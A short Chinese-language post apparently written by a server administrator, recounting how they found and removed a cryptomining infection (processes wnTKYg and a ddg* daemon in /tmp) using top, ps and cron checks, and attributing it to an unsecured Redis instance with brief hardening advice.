发现服务器CPU占用率超100,先不要着急删除文件，确定文件目录
查看挖矿脚本

根据上边的脚本清楚定时任务
top查看 CPU299%
ps -ef | grep wnTKYg
发现在 tmp目录下生成两个文件imWBR1\wnTKYg: 删除这两个文件并把进程kill掉，
观察两分钟后发现还会自动启动
继续检查和网上搜索，发现一般这个挖矿还有守护进程一般命名为，ddg* ,ps -ef | grep ddg 发现果然有这个，查看他的启动目指向/tmp下
去tmp下删除相关文件并kill掉进程，top继续观察，，，，终于解决。。。。
网上查询的贴都说是因为redis，未加密引起的。以后注意，对redis进行指定内网IP请求，防火墙限制挖矿地址出入屏蔽掉，对系统文件和应用的接口和权限也要加固。
